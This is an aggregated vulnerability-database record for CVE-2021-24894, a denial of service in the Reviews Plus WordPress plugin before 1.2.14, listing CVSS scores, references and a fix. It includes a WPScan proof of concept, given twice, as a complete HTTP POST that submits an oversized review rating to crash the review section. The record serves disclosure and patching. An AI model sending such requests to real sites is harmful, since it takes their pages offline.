The Reviews Plus WordPress plugin before 1.2.14 does not validate the submitted rating, allowing submission of long integer, causing a Denial of Service in the review section when an authenticated user submit such rating and the reviews are set to be displayed on the post/page
{"id": "CVE-2021-24894", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24894", "description": "The Reviews Plus WordPress plugin before 1.2.14 does not validate the submitted rating, allowing submission of long integer, causing a Denial of Service in the review section when an authenticated user submit such rating and the reviews are set to be displayed on the post/page", "published": "2021-11-23T20:15:00", "modified": "2022-07-01T10:15:00", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.0}, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24894", "reporter": "contact@wpscan.com", "references": ["https://plugins.trac.wordpress.org/changeset/2618234", "https://wpscan.com/vulnerability/79bb5acb-ea56-41a9-83a1-28a181ae41e2"], "cvelist": ["CVE-2021-24894"], "immutableFields": [], "lastseen": "2022-07-01T17:37:52", "viewCount": 10, "enchantments": {"dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:79BB5ACB-EA56-41A9-83A1-28A181AE41E2"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:79BB5ACB-EA56-41A9-83A1-28A181AE41E2"]}], "rev": 4}, "score": {"value": 3.8, "vector": "NONE"}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:79BB5ACB-EA56-41A9-83A1-28A181AE41E2"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:79BB5ACB-EA56-41A9-83A1-28A181AE41E2"]}]}, "exploitation": null, "vulnersScore": 3.8}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": [], "affectedSoftware": [{"cpeName": "implecode:reviews_plus", "version": "1.2.14", "operator": "lt", "name": "implecode reviews plus"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:implecode:reviews_plus:1.2.14:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.2.14", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://plugins.trac.wordpress.org/changeset/2618234", "name": "https://plugins.trac.wordpress.org/changeset/2618234", "refsource": "CONFIRM", "tags": ["Patch", "Third Party Advisory"]}, {"url": "https://wpscan.com/vulnerability/79bb5acb-ea56-41a9-83a1-28a181ae41e2", "name": "https://wpscan.com/vulnerability/79bb5acb-ea56-41a9-83a1-28a181ae41e2", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}
{"wpvulndb": [{"lastseen": "2021-11-30T19:23:03", "description": "The plugin does not validate the submitted rating, allowing submission of long integer, causing a Denial of Service in the review section when an authenticated user submit such rating and the reviews are set to be displayed on the post/page\n\n### PoC\n\nEnable reviews for post/pages, and enable the \"Show Reviews on\" setting for All posts or pages as well. Then log in as a user such as subscriber and submit a review with a long rating, e.g POST /wp-comments-post.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 181 Connection: close Cookie: [subscriber+] Upgrade-Insecure-Requests: 1 comment_type=ic_rev_post&review;_type=ic_rev_post&ic;_review_rating=100000000000000000000000&ic;_review_title=aa&comment;=cerh&submit;=Submit+Review&comment;_post_ID=2123&comment;_parent=0 The review section of the post/page will crash with an error like \"Allowed memory size of 268435456 bytes exhausted (tried to allocate 249561152 bytes) in /var/www/wp-content/plugins/reviews-plus/functions/functions.php on line 76\" when viewed\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 6.5, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-10-25T00:00:00", "type": "wpvulndb", "title": "Reviews Plus < 1.2.14 - Subscriber+ Reviews DoS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24894"], "modified": "2021-10-25T06:22:16", "id": "WPVDB-ID:79BB5ACB-EA56-41A9-83A1-28A181AE41E2", "href": "https://wpscan.com/vulnerability/79bb5acb-ea56-41a9-83a1-28a181ae41e2", "sourceData": "", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}], "patchstack": [{"lastseen": "2022-06-01T19:29:06", "description": "Reviews Denial of Service (DoS) vulnerability discovered by Drew Jones in WordPress Reviews Plus plugin (versions <= 1.2.13).\n\n## Solution\n\n\r\n Update the WordPress Reviews Plus plugin to the latest available version (at least 1.2.14).\r\n ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-10-25T00:00:00", "type": "patchstack", "title": "WordPress Reviews Plus plugin <= 1.2.13 - Reviews Denial of Service (DoS) vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24894"], "modified": "2021-10-25T00:00:00", "id": "PATCHSTACK:E628A63E30E66136072C9F547C3ED664", "href": "https://patchstack.com/database/vulnerability/reviews-plus/wordpress-reviews-plus-plugin-1-2-13-reviews-denial-of-service-dos-vulnerability", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}], "wpexploit": [{"lastseen": "2021-11-30T19:23:03", "description": "The plugin does not validate the submitted rating, allowing submission of long integer, causing a Denial of Service in the review section when an authenticated user submit such rating and the reviews are set to be displayed on the post/page\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 6.5, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-10-25T00:00:00", "type": "wpexploit", "title": "Reviews Plus < 1.2.14 - Subscriber+ Reviews DoS", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24894"], "modified": "2021-10-25T06:22:16", "id": "WPEX-ID:79BB5ACB-EA56-41A9-83A1-28A181AE41E2", "href": "", "sourceData": "Enable reviews for post/pages, and enable the \"Show Reviews on\" setting for All posts or pages as well.\r\n\r\nThen log in as a user such as subscriber and submit a review with a long rating, e.g\r\n\r\nPOST /wp-comments-post.php HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 181\r\nConnection: close\r\nCookie: [subscriber+]\r\nUpgrade-Insecure-Requests: 1\r\n\r\ncomment_type=ic_rev_post&review_type=ic_rev_post&ic_review_rating=100000000000000000000000&ic_review_title=aa&comment=cerh&submit=Submit+Review&comment_post_ID=2123&comment_parent=0\r\n\r\nThe review section of the post/page will crash with an error like \"Allowed memory size of 268435456 bytes exhausted (tried to allocate 249561152 bytes) in /var/www/wp-content/plugins/reviews-plus/functions/functions.php on line 76\" when viewed", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}]}